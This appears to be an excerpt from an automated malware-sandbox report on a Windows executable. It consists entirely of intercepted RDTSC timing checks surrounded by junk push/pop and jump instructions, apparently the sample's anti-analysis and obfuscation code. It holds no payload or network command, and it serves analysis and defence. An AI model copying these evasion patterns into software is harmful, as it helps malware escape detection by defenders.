Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F63C78 second address: F63C7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F64B40 second address: F64B54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7DD0B815DEh 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F64CBE second address: F64CC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F64CC4 second address: F64CD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F7DD0B815EFh 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F64CD3 second address: F64CE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B8164Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F64F8D second address: F64F91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F64F91 second address: F64F95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F64F95 second address: F64F9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F64F9B second address: F64FB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007F7DD0B8164Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F64FB3 second address: F64FB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F64FB9 second address: F64FBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F64FBF second address: F64FDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B815DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jnl 00007F7DD0B815D6h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F64FDE second address: F64FE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F68584 second address: F6858A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F6858A second address: F685AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7DD0B81650h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7DD0B8164Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F680DA second address: F680DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F6B219 second address: F6B23C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F7DD0B81646h 0x0000000a pop esi 0x0000000b jmp 00007F7DD0B81653h 0x00000010 pop esi 0x00000011 push esi 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F6B23C second address: F6B257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7DD0B815E2h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F6B257 second address: F6B261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F7DD0B81646h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F6B3D9 second address: F6B3DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F6B557 second address: F6B55B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F6B55B second address: F6B586 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F7DD0B815D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnc 00007F7DD0B815EFh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F6B586 second address: F6B58B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F6B58B second address: F6B59A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F7DD0B815D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F6B59A second address: F6B5A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F6B5A0 second address: F6B5A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F73574 second address: F73578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F728E5 second address: F728FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7DD0B815E0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F7325B second address: F7326D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7DD0B8164Ah 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F7326D second address: F73271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F74BA0 second address: F74BAA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7DD0B81646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F74BAA second address: F74BCA instructions: 0x00000000 rdtsc 0x00000002 jp 00007F7DD0B815E3h 0x00000008 jmp 00007F7DD0B815DDh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 jp 00007F7DD0B815DCh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F78FF2 second address: F78FF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F78FF7 second address: F79002 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F782BC second address: F782C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F782C1 second address: F782D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7DD0B815DCh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F78846 second address: F78864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7DD0B8164Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007F7DD0B81646h 0x00000011 jbe 00007F7DD0B81646h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F78864 second address: F78868 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F78868 second address: F7886E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F789B6 second address: F789CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F7DD0B815D6h 0x0000000a jmp 00007F7DD0B815DEh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F789CE second address: F789DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F789DF second address: F789E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F7D937 second address: F7D95E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jnl 00007F7DD0B81646h 0x0000000c pushad 0x0000000d popad 0x0000000e push esi 0x0000000f pop esi 0x00000010 popad 0x00000011 pushad 0x00000012 push edi 0x00000013 pushad 0x00000014 popad 0x00000015 pop edi 0x00000016 push eax 0x00000017 jmp 00007F7DD0B8164Bh 0x0000001c pop eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F7D95E second address: F7D972 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7DD0B815D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007F7DD0B815D6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F7D972 second address: F7D976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F7D1E9 second address: F7D204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7DD0B815DDh 0x00000009 pop ecx 0x0000000a jbe 00007F7DD0B815E0h 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F7D339 second address: F7D33D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F7D645 second address: F7D67B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7DD0B815E2h 0x00000008 jmp 00007F7DD0B815E8h 0x0000000d pushad 0x0000000e popad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F84777 second address: F84781 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F84781 second address: F84789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F84789 second address: F84791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F8490A second address: F84914 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F7DD0B815D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F84EC2 second address: F84ECE instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7DD0B8164Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F8548A second address: F854A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F7DD0B815E0h 0x00000008 pop eax 0x00000009 jl 00007F7DD0B815DEh 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F857DD second address: F857E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F857E1 second address: F857E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F857E7 second address: F857EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F857EE second address: F857FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F7DD0B815D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F85AAE second address: F85AB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F860F0 second address: F860F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F860F4 second address: F86106 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B8164Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F86106 second address: F86124 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B815E1h 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a jp 00007F7DD0B815D6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F863F0 second address: F863FD instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7DD0B81646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: EDB8E1 second address: EDB925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7DD0B815DCh 0x00000009 jmp 00007F7DD0B815E1h 0x0000000e popad 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pop edx 0x00000013 pop esi 0x00000014 push esi 0x00000015 push esi 0x00000016 pushad 0x00000017 popad 0x00000018 pop esi 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d jmp 00007F7DD0B815E4h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F8FEE2 second address: F8FEFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F7DD0B81653h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F8FEFD second address: F8FF02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F8FF02 second address: F8FF0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F901D5 second address: F901DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F901DB second address: F901E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F7DD0B81646h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F901E6 second address: F901F8 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7DD0B815D8h 0x00000008 pushad 0x00000009 popad 0x0000000a jp 00007F7DD0B815DEh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F90361 second address: F90376 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7DD0B81646h 0x00000008 je 00007F7DD0B81646h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F90376 second address: F90388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F7DD0B815D6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F90388 second address: F9038E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F9038E second address: F90394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F90394 second address: F90399 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F906EA second address: F906EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F9085D second address: F90861 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F90A0A second address: F90A1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B815DAh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F97407 second address: F97429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7DD0B81659h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F97429 second address: F9743D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B815E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F9743D second address: F97448 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jno 00007F7DD0B81646h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F97870 second address: F97874 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F97874 second address: F9788F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7DD0B81651h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F9788F second address: F97893 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F97893 second address: F97899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F97899 second address: F978A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F979F9 second address: F97A05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F7DD0B81646h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F97A05 second address: F97A20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F7DD0B815D6h 0x0000000a popad 0x0000000b push edi 0x0000000c jnl 00007F7DD0B815D6h 0x00000012 push edx 0x00000013 pop edx 0x00000014 pop edi 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F97A20 second address: F97A27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F97A27 second address: F97A2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F97A2D second address: F97A31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F97D28 second address: F97D33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F7DD0B815D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F98010 second address: F9801F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7DD0B8164Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F9801F second address: F98023 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F982AB second address: F982B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F982B1 second address: F982DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7DD0B815DFh 0x00000009 popad 0x0000000a pushad 0x0000000b jne 00007F7DD0B815D6h 0x00000011 jmp 00007F7DD0B815E1h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F989A6 second address: F989BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7DD0B81655h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F989BF second address: F989E5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7DD0B815E6h 0x0000000f jne 00007F7DD0B815D6h 0x00000015 rdtsc
